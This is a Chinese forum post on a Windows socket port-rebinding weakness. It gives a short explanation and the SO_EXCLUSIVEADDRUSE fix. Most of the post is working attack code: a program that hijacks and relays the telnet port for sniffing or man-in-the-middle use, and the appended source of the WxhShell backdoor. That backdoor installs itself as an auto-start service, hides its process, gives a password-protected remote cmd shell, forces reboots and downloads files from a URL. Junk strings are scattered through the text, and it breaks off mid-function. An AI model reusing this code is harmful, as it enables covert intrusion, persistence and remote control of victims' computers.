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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &glh >9:G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !L9|iC:8 ?OnL,y| saddr.sin_family = AF_INET; m)<+?Bv y ~s'}_5;VY saddr.sin_addr.s_addr = htonl(INADDR_ANY); JP\jhkn dPpQCxf bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >T[Y>] `fEzE\\!* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?F[_5ls|] JLWm9c+UTG 这意味着什么?意味着可以进行如下的攻击: zJ8T.+qJ |*zgX]-+; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r]\[G6mE% JiXE {( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
P6> C+T1 qlPIxd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cL4Go,)w S m=ln)G= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _ti^i\8~ X}3?k<m 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v:74iB$i/C RLQ*&[A} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OMjPC_ hC<E4+5., 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mpwh= {_\dwe9 #include z@19gD#8 #include 4|\M`T #include \oxf_4X #include ShV_8F z DWORD WINAPI ClientThread(LPVOID lpParam); 5 8;OTDR! int main() CfrO1i F { & }j;SK5 WORD wVersionRequested; h0~<(3zC DWORD ret; 5WfZd WSADATA wsaData; CL5^>.} BOOL val; zpf<!x^ SOCKADDR_IN saddr; Wy6a4oY SOCKADDR_IN scaddr; 4`oKvL9 int err; =(TMcu$4` SOCKET s; ckP AH E@ SOCKET sc; .HY,'oC. int caddsize; TK'y- 5W HANDLE mt; IpzU=+h DWORD tid; dly -mPmP wVersionRequested = MAKEWORD( 2, 2 ); G2!<C-T{2 err = WSAStartup( wVersionRequested, &wsaData ); XHgW9 ;M! if ( err != 0 ) { y[jp)&N` printf("error!WSAStartup failed!\n"); 0VJHE~Bgi return -1; zD8$DG8 } o\it]B saddr.sin_family = AF_INET; ON!Fk:- @ kv~2m //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0;`FS/[(f o%lxEd r saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h'G saddr.sin_port = htons(23); wt@TR~a if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [N[4\W!! { 0lq?l:/ printf("error!socket failed!\n"); Bo
ywgL| return -1; ;QG8@ms| } wS7Vo{#@\ val = TRUE; -3d`e2^&} //SO_REUSEADDR选项就是可以实现端口重绑定的 :si&A;k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L5d
YTLY { P$h) Y printf("error!setsockopt failed!\n"); "BpDlTYM return -1; "#8^":,4 } w0sy@OF //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C.uv0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _M;{}!Gc&A //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ca0vN^Ji A
-8]4p:: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r_bG+iw7p { VpbJe@*D ret=GetLastError(); bqF?!t<B printf("error!bind failed!\n"); 4C:dkaDq] return -1; OOnj(%g } t^6ams$ listen(s,2); Xooh00 while(1) #
E8?2] { +W-b3R:1> caddsize = sizeof(scaddr); ~pI`_3 //接受连接请求 wLO"[, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6y`FW[ if(sc!=INVALID_SOCKET) :TnU} i_/h { K!>3`[:I" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}7fzEo`g if(mt==NULL) #sv}%oV,F { l_2l/ff9 printf("Thread Creat Failed!\n"); 91a);d break; f<<$!]\ } /K+;HAUTn } XCn;<$3w CloseHandle(mt); Zcc7
7dRA } e+2lus,u6t closesocket(s); ~<Wa$~oY WSACleanup(); +Ezl.O@z return 0; =q"0GUei3 } T{#=A$vu DWORD WINAPI ClientThread(LPVOID lpParam) _ qQ {
#^-'q`) SOCKET ss = (SOCKET)lpParam;
~xPetkl@ SOCKET sc; Qd?S~3XT unsigned char buf[4096]; fR2,NKM@ SOCKADDR_IN saddr; oc-o>H long num; j~;y~Cx? DWORD val; l<"B[ DWORD ret; G[zy sxd //如果是隐藏端口应用的话,可以在此处加一些判断 mkBQTQGT //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 .rDao]K saddr.sin_family = AF_INET; C<^S$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b3GTsX\2| saddr.sin_port = htons(23); &s\,+d0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^b.fci{1m { <X97W\ printf("error!socket failed!\n"); +@@( C9 return -1; 5':j=KQE_ } h=NXU9n%' val = 100; 4dSAGLpp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6,R<8a;Wn { >Ij#+= ret = GetLastError(); l,b_'
m@ return -1; LzB*d } jM'Fb.>~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7d_"4;K) { %a-fxV[ ret = GetLastError(); TQ {8 ee{ return -1; f,@~@f
X } HE2t0sAYX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /cZcfCW { *9r 32]i; printf("error!socket connect failed!\n"); G%%F6)W closesocket(sc); @$!"}xDR' closesocket(ss); 9*?YES'6 return -1; c8cGIAOY) } Mw;^`ZxT while(1) (i@(ZG]/ { fX&g. fH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hu!<GB~ //如果是嗅探内容的话,可以再此处进行内容分析和记录 %Si3LQf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q6[h;lzGV num = recv(ss,buf,4096,0); yN}<l% if(num>0) Z>'hNj)ju send(sc,buf,num,0); I=K<%. else if(num==0) MY&?*pV) break; V5I xZn% num = recv(sc,buf,4096,0); \]L ha if(num>0) ,#.^2O9-^ send(ss,buf,num,0); &v r0{]V^ else if(num==0) rN {5^+w break; I]d?F:cdX } &#]||T- closesocket(ss); 57U;\L;ZmZ closesocket(sc); C[JPohm return 0 ; QVN@B[9 } $)(Zt^ @Z~0!VY \'nE{ ========================================================== 1a},(ZcdX OadGwa\:s 下边附上一个代码,,WXhSHELL QVR-`d/ >P ygUY
d ========================================================== UWBR5 Bq85g5Dc #include "stdafx.h" maQOU1 8 A #\V #include <stdio.h> 072`i46 #include <string.h> !AL?bW #include <windows.h> _3_o/I #include <winsock2.h> Fz_8m4 #include <winsvc.h> sJLJVSv8c #include <urlmon.h> m] IN-' xx%*85 < #pragma comment (lib, "Ws2_32.lib") gf|&u4D #pragma comment (lib, "urlmon.lib") 5kj=Y]9\I {E>(%vD #define MAX_USER 100 // 最大客户端连接数 ;cWFh4_ #define BUF_SOCK 200 // sock buffer 8DlRD$_:& #define KEY_BUFF 255 // 输入 buffer of.=n }j#c#''i #define REBOOT 0 // 重启 2 wZyUB; #define SHUTDOWN 1 // 关机 !2]G.|5/A `ve5>aw0_Y #define DEF_PORT 5000 // 监听端口 4*+)D8 eN
I6V/\` #define REG_LEN 16 // 注册表键长度 uacVF[9|W #define SVC_LEN 80 // NT服务名长度 , @6_sl !iGZo2LV // 从dll定义API 8~h.i1L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y<`uq'V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Yg")/*!H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /=:X,^"P typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c<g{&YJ j}DG +M // wxhshell配置信息 p4wXsOQ} struct WSCFG { 5A"OL6ty int ws_port; // 监听端口 ~FZ=
char ws_passstr[REG_LEN]; // 口令
]4oF!S%F int ws_autoins; // 安装标记, 1=yes 0=no l,M? char ws_regname[REG_LEN]; // 注册表键名 kR(hUc1O char ws_svcname[REG_LEN]; // 服务名 Y!nE65 char ws_svcdisp[SVC_LEN]; // 服务显示名 J$i5A9IUr char ws_svcdesc[SVC_LEN]; // 服务描述信息 GVzG char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z4c{W~}` int ws_downexe; // 下载执行标记, 1=yes 0=no nrI-F,1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" vC!}%sxVw_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'd=B{7k@ rc]`PV }; .^*
.-8q D&#ph%U,P // default Wxhshell configuration ^T/d34A;SP struct WSCFG wscfg={DEF_PORT, w#`E;fN' "xuhuanlingzhe",
{3=]cLtt 1, IH'&W "Wxhshell", '|l1-yD_ "Wxhshell", 4P}<86xk "WxhShell Service", #a"gW,/K "Wrsky Windows CmdShell Service", IG~d7rh" "Please Input Your Password: ", XQL]I$? 1, Q68q76 " http://www.wrsky.com/wxhshell.exe", !XS ;&s7[* "Wxhshell.exe" go$zi5{h# }; SdBo sB3v> AE 2>smp5@ // 消息定义模块 a-7T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _kT$/k char *msg_ws_prompt="\n\r? for help\n\r#>"; I HtNaN ) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; k9?fE char *msg_ws_ext="\n\rExit."; D>Dch0{H,: char *msg_ws_end="\n\rQuit."; 1-60gI1) char *msg_ws_boot="\n\rReboot..."; 8!{F6DG char *msg_ws_poff="\n\rShutdown..."; $17utJ58 char *msg_ws_down="\n\rSave to "; J(\f(jh/ elf2! char *msg_ws_err="\n\rErr!"; F&x9. char *msg_ws_ok="\n\rOK!"; Y5Jrkr)k -*Z;EA- char ExeFile[MAX_PATH]; ht%:e?@i int nUser = 0; %JC-%TRWK HANDLE handles[MAX_USER]; %$L!N-U6 int OsIsNt; zQQ=8#] p$
%D SERVICE_STATUS serviceStatus; ACcxQK} SERVICE_STATUS_HANDLE hServiceStatusHandle; V/}g'_E z<c@<M=Q* // 函数声明 fB3W} dr int Install(void); !4B($]t int Uninstall(void); !B &%!06 int DownloadFile(char *sURL, SOCKET wsh); B'Ll\<mq@ int Boot(int flag); RZV6\j void HideProc(void); {\+!@? int GetOsVer(void); R3SAt-IE int Wxhshell(SOCKET wsl); 8Yq_6 void TalkWithClient(void *cs); o3~ecJ?k int CmdShell(SOCKET sock); O_jf)N\pi int StartFromService(void); Lx:O Dd int StartWxhshell(LPSTR lpCmdLine); Ec^x ?tLBEoUmKT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gn_rf" VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0HRLTgIC `w
J^ // 数据结构和表定义 _Hn-bp[?> SERVICE_TABLE_ENTRY DispatchTable[] = ?|t9@r { $($26g {wscfg.ws_svcname, NTServiceMain}, pIy+3&\e; {NULL, NULL} !!4` #Z0+# }; Z&!5'_9{V S-\;f jh // 自我安装 9$pQ|e0tJ int Install(void) HTz&h#)JQ { nDvj*lZF char svExeFile[MAX_PATH]; El$yM.M" HKEY key; -kVt_ strcpy(svExeFile,ExeFile); l|c# xM3T7PV9 // 如果是win9x系统,修改注册表设为自启动 3~7X2}qU if(!OsIsNt) { 7]w]i5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -5~&A6+ILn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }x^q?;7xW RegCloseKey(key); ~al4`:rRx1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R7)2@;i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rs<li\GS RegCloseKey(key); o0Y
{k8 return 0; [h>RO55e } V]V~q ]
} z+>FKAF } b3z{FP else { 7r?s)ZV CXr]V"X9 // 如果是NT以上系统,安装为系统服务 4ACL|RF)A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mgk<PY if (schSCManager!=0) 1I*b7t { y()7m/ SC_HANDLE schService = CreateService D)ZGTq`( ( U=4tJb schSCManager, ahno$[ wscfg.ws_svcname, 3(De> gs$ wscfg.ws_svcdisp, j`GL#J[wqQ SERVICE_ALL_ACCESS, &"(xd@V)]A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F|t3%dpj SERVICE_AUTO_START, }6;v`1Hr SERVICE_ERROR_NORMAL, y Q_lJIX svExeFile, -^i[ NULL, J_]B,'
6 NULL, bF5 mCR: NULL, h
<s.o#8 NULL, u dhj$:t NULL
FvpI\%#~ ); 0(2r"Hi if (schService!=0) VfK8')IXk { DeTx7 i0 CloseServiceHandle(schService); bi y1!r CloseServiceHandle(schSCManager); $n30[P@p; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3_:J`xX(4 strcat(svExeFile,wscfg.ws_svcname); /T53"+7:0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {=5Wi| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]chfa RegCloseKey(key); 8cV3VapF return 0; Flrpk`4 } ^gY^I`"e6 } \J>a* CloseServiceHandle(schSCManager); dX4"o?KD> } 5.KhI <[ } |;XkU`G gr?[KDl~ return 1; MCBZq\c } Dp)5u@I o(=\FNe // 自我卸载 %s}c#n)N int Uninstall(void)
F'!pM(+ { ]m _<lRye HKEY key; 8[zux 4<m 8<gYB$* S if(!OsIsNt) { :T62_cFG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W$g<nhLK RegDeleteValue(key,wscfg.ws_regname); Vz(O=w= RegCloseKey(key); ZK1H%&P=R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'P1I-ue RegDeleteValue(key,wscfg.ws_regname); yMdE[/+3 RegCloseKey(key); KCE5Z?k return 0; O$=[m9V } cO]_5@#f'8 } $e
bx } 'jr\F2 else { 'G6g
yO/K Sn(e@|!G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;}iV`)S if (schSCManager!=0) p~/ { oCw>b]S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I{e[Y_ if (schService!=0) =Oo=&vA.oc { 6Qo
YX] .
if(DeleteService(schService)!=0) { Y[=X b CloseServiceHandle(schService); 381a(F[$e CloseServiceHandle(schSCManager); Ev
adY return 0; P;.j5P^j` }
eXN\w]GE CloseServiceHandle(schService); (#uz_/xXa } #le1
^
<w7 CloseServiceHandle(schSCManager); LHQ$0LVt>T } !'y9/ } 2pKkg>/S :gD=F &V return 1; rb"J{^ } =;hz,+ it
Byw1/ // 从指定url下载文件 (n4\$LdP- int DownloadFile(char *sURL, SOCKET wsh) 3`%]3qd} { ljr?Z,R4 HRESULT hr; %25GplMT char seps[]= "/"; d) i:-#Q char *token; (gdi2 char *file; 4^3}+cJ7j char myURL[MAX_PATH]; 8dgi"/[3 char myFILE[MAX_PATH]; C;mcb$@ Pv- i. strcpy(myURL,sURL); reBAxmt token=strtok(myURL,seps); ~pv| while(token!=NULL) Y(a0*fh { >s5i file=token; Wu}84W"!.V token=strtok(NULL,seps); 16J"QUuG } ><t4 f(d 8>\tD GetCurrentDirectory(MAX_PATH,myFILE); J@CKgE strcat(myFILE, "\\"); F.]D\"0` strcat(myFILE, file); M<nKk#!+h send(wsh,myFILE,strlen(myFILE),0); ';>]7oT` send(wsh,"...",3,0); h83W;s hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fJiY~mQ if(hr==S_OK)
U]o return 0; zJ"`40V*; else U=kPxe return 1; e7n[NVrX <8 $fo } r]sNI[ d[0R#2y= // 系统电源模块 DlMT<ld int Boot(int flag) | e?:Uq { ^~
95q0hq: HANDLE hToken; 5_H`6-q TOKEN_PRIVILEGES tkp; _l{`lQ} *VuiEBG if(OsIsNt) { K:<j=j@51 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [w1 4hHnq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pXoD*o b tkp.PrivilegeCount = 1; ktA5]f; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x6qQ
Y<> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Whd\Ub8( if(flag==REBOOT) { u~]O #v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8zI*<RX.Q return 0; // k`X } ;2k!KW@ else { o)V@|i0Js if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z9)-kRQz=r return 0; R^hlfKnt } *F^t)K2 } /h(bMb Z else { NFsCq_f if(flag==REBOOT) { DN$[rCi7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c:d.mkF\ return 0; `X8wnD } 6E)emFkQ else { TJO?BX_9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GJ9'i-\*\ return 0; `K%f"by } a'Vz|SG } ?LwBF;Y xlP0?Y1Bl return 1; K Y=$RO } ^b;3Jj PxvD0GTW // win9x进程隐藏模块 p.ks
jD void HideProc(void) X-_ $jKfM { Ue?mb$ykC. =$wQA HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K!<3|d if ( hKernel != NULL ) >d9b"T { )wM881_! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )w_hbU_Pb& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A!:R1tTR;S FreeLibrary(hKernel); 75"&"*R/*G } >53Hqzm&
;"9$LHH* return; nu6p{_M } B<Zm'hdX 2{6%+>jB // 获取操作系统版本 B>kVJK`X int GetOsVer(void) !r#36kO { sJ>JHv OSVERSIONINFO winfo; .gJv})Vi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xt%y>'. GetVersionEx(&winfo); qydRmi if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P-_2IZiz return 1; j9d^8)O, else 03?7kAI return 0; J?$`Tnx^ } 8=-/0y9, [W8"Mc|ve // 客户端句柄模块 O4g2s8k int Wxhshell(SOCKET wsl) c $n`=NI { .5E6MF SOCKET wsh; +v)+ k struct sockaddr_in client; "<$JU@P DWORD myID; aInh?- \uyZl2=WWa while(nUser<MAX_USER) *K'#$`2 { *v:o`{vM[ int nSize=sizeof(client); -d]v6q'1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0 /)OAw"m if(wsh==INVALID_SOCKET) return 1; i4dy0jfN [KW9J}] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nkO4~p if(handles[nUser]==0) "+Kp8n6 closesocket(wsh); xFj<KvV[ else BmI'XB3'P nUser++; <Em|0hth } b^'>XT~1J& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (o2.*x d9.I83SS return 0; nhLw&V3y } _x]q`[Dih Yc-gJI*1 // 关闭 socket 6#;u6@+}yy void CloseIt(SOCKET wsh) 7.nNz&UG]5 { l H{~?x closesocket(wsh); bNG7A[|B nUser--; J] )gXVRM ExitThread(0); b\Mb6s } q M(@wFg xxZO{_q // 客户端请求句柄 XNr8,[c void TalkWithClient(void *cs) ,CP&o { IWT
-)+ ZRP[N)Ld$ SOCKET wsh=(SOCKET)cs; Y?4N%c_; char pwd[SVC_LEN]; 0/JTbf. CX char cmd[KEY_BUFF]; \y0]BH char chr[1]; swfjKBfw+g int i,j; 4CK$W`V A,;[9J2\& while (nUser < MAX_USER) { av>Ff6w)Y )5ev4Qf
if(wscfg.ws_passstr) {
<y<
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ja%IGaH;s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2Xqa?ay0> //ZeroMemory(pwd,KEY_BUFF); 3RP\w~? i=0; z]R% A:6K while(i<SVC_LEN) { @0D s(r1q$5 // 设置超时 n*m"yp fd_set FdRead; i{}Q5iy struct timeval TimeOut; T1A/>\Ns FD_ZERO(&FdRead); Gxw>.O){ FD_SET(wsh,&FdRead); 4p&YhV7j)o TimeOut.tv_sec=8; t]XF*fZH TimeOut.tv_usec=0; 8S@"6TG`
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )E}eK-Yu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); blmY=/] VX'G\Zz@h| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yUX<W'-Hev pwd =chr[0]; >8EmfjUoc if(chr[0]==0xd || chr[0]==0xa) { ;edt["Eu pwd=0; 8.tp#x,A break; L[. )!c8k } zC WN,K` i++; t|v_[Za}Z } Bi`m +ob v4W<_
7L_ // 如果是非法用户,关闭 socket MNH-SQB | if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n=%D}W } B18?)LA l*|m(7s send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); POb2U1Sj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >]/aG! tREC)+*\ while(1) { S!g0J}.z S*(ns<L ZeroMemory(cmd,KEY_BUFF); (2'q~Z+>' ?dQ#%06mn // 自动支持客户端 telnet标准 ?#J;[y\^ j=0; D)J'xG_<O while(j<KEY_BUFF) { f=Kt[|%'e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~?:Xi_3Lo cmd[j]=chr[0]; mO@Sl(9 if(chr[0]==0xa || chr[0]==0xd) { VR vX^w0 cmd[j]=0; S!R:a>\ break; gFw-P#t } %P`|kPW1 j++; ]3~X!(O } W-ol*S F5YHc$3^ // 下载文件 =f=,YcRn+ if(strstr(cmd,"http://")) { `E5vO1Pl send(wsh,msg_ws_down,strlen(msg_ws_down),0); H 2UR if(DownloadFile(cmd,wsh)) "kg?Or. send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~.<}/GP] _ else
"xE;IpO[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c3|/8 } cQ`+ A|q else { 0r ilg 8@BN6 switch(cmd[0]) { 6a*OQ{8 TuMD+^x // 帮助 c7/fQc)h4d case '?': { 'DCB 7T8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d<>jhp5el break; J7$JW3O } ul ag$ge // 安装 zHt}`>y& case 'i': { 1/vcj~|)t if(Install()) e(EXQP2P> send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jk=d5B else nISfRXU; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H^0`YQJ3 break; FW!1 0K? } ]?j[P=\ // 卸载 =y1/V'2E case 'r': { GoRSLbCUR
if(Uninstall()) P:tl)ob send(wsh,msg_ws_err,strlen(msg_ws_err),0); bPo*L~xdk else 5:
O,-b& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tp
fC break; }Oh@`xTxt } ,?>:Cdz4 // 显示 wxhshell 所在路径 te8lF{R case 'p': { ]x`I@vSf7R char svExeFile[MAX_PATH]; m~l[Y strcpy(svExeFile,"\n\r"); y3)R:h4AH strcat(svExeFile,ExeFile); e!|T Tap send(wsh,svExeFile,strlen(svExeFile),0); 6>;dJV break; x2 m
A } *XSHzoT* // 重启 G~|Z(}H case 'b': { D4W^{/S send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4XsKOv if(Boot(REBOOT)) 2Uq4PCx! send(wsh,msg_ws_err,strlen(msg_ws_err),0); U{~R39 else { _+x&[^gjP closesocket(wsh); o9D]\PdL> ExitThread(0); 'CC;=@J } nLv"ON~ break; z\Y-8a.] } F!qt#Sw!\ // 关机 >aV
Q case 'd': { ^q
?xi5w send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (vqI@fB';u if(Boot(SHUTDOWN)) 7K}Sk send(wsh,msg_ws_err,strlen(msg_ws_err),0); )a'c_ 2[ else { y|E{] closesocket(wsh); 9t^Q_ [hG ExitThread(0); p?+*R@O } Kg MW break; ]@UJ 8hDy } Lv`NS+fX // 获取shell En]+mIEo case 's': { pX/,s#dY> CmdShell(wsh); X1{U''$
K closesocket(wsh); }^Kye23 ExitThread(0); STH?X]
/ break; qX?k]m } `VxfAV?} // 退出 rlIDym9nY~ case 'x': { %knPeo& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d)7V: CloseIt(wsh); "vnWq=E2 break; }v?_.MtS } G~;hD-D~. // 离开 L?gak@E case 'q': { *K1GX send(wsh,msg_ws_end,strlen(msg_ws_end),0); h%T$m_ closesocket(wsh); :~1p WSACleanup(); -U/m exit(1); ".R5K ? break; #aV2+ `d } eTp}*'$p } t!"XQ$g' } b#<@&0KE zxt&oT0Q // 提示信息 |2eF~tJqc if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <M4Qc12jP } KoPhPH } (}C%g{8 .`ppp!:a4 return; ,`lVB#| } ?m$7)@p .g6DKjy> // shell模块句柄 M~1 n# int CmdShell(SOCKET sock) DlXthRM { :U7m@3czU STARTUPINFO si; P_f>a?OL: ZeroMemory(&si,sizeof(si)); )=)=]|3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #n_uELE si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
`xpU PROCESS_INFORMATION ProcessInfo; nxc35 char cmdline[]="cmd"; v9[[T6t/' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =5-|H;da return 0; :RnFRAcr } *8*E\nZx! r ]cC4%in // 自身启动模式 LFx*_3a int StartFromService(void) gZs UX^% { LBlaDw typedef struct mf>cv2+ { >
CPJp!u DWORD ExitStatus; jJmg9&^R DWORD PebBaseAddress; gTp){ DWORD AffinityMask; _\P9~w
` DWORD BasePriority; 3 #zwY ULONG UniqueProcessId; p<@0b ULONG InheritedFromUniqueProcessId; O!(FNv0 } PROCESS_BASIC_INFORMATION; P|S'MS';: mne=9/sE" PROCNTQSIP NtQueryInformationProcess; n ./onv E
Fx@O static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y ~
A] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f;(]P AF
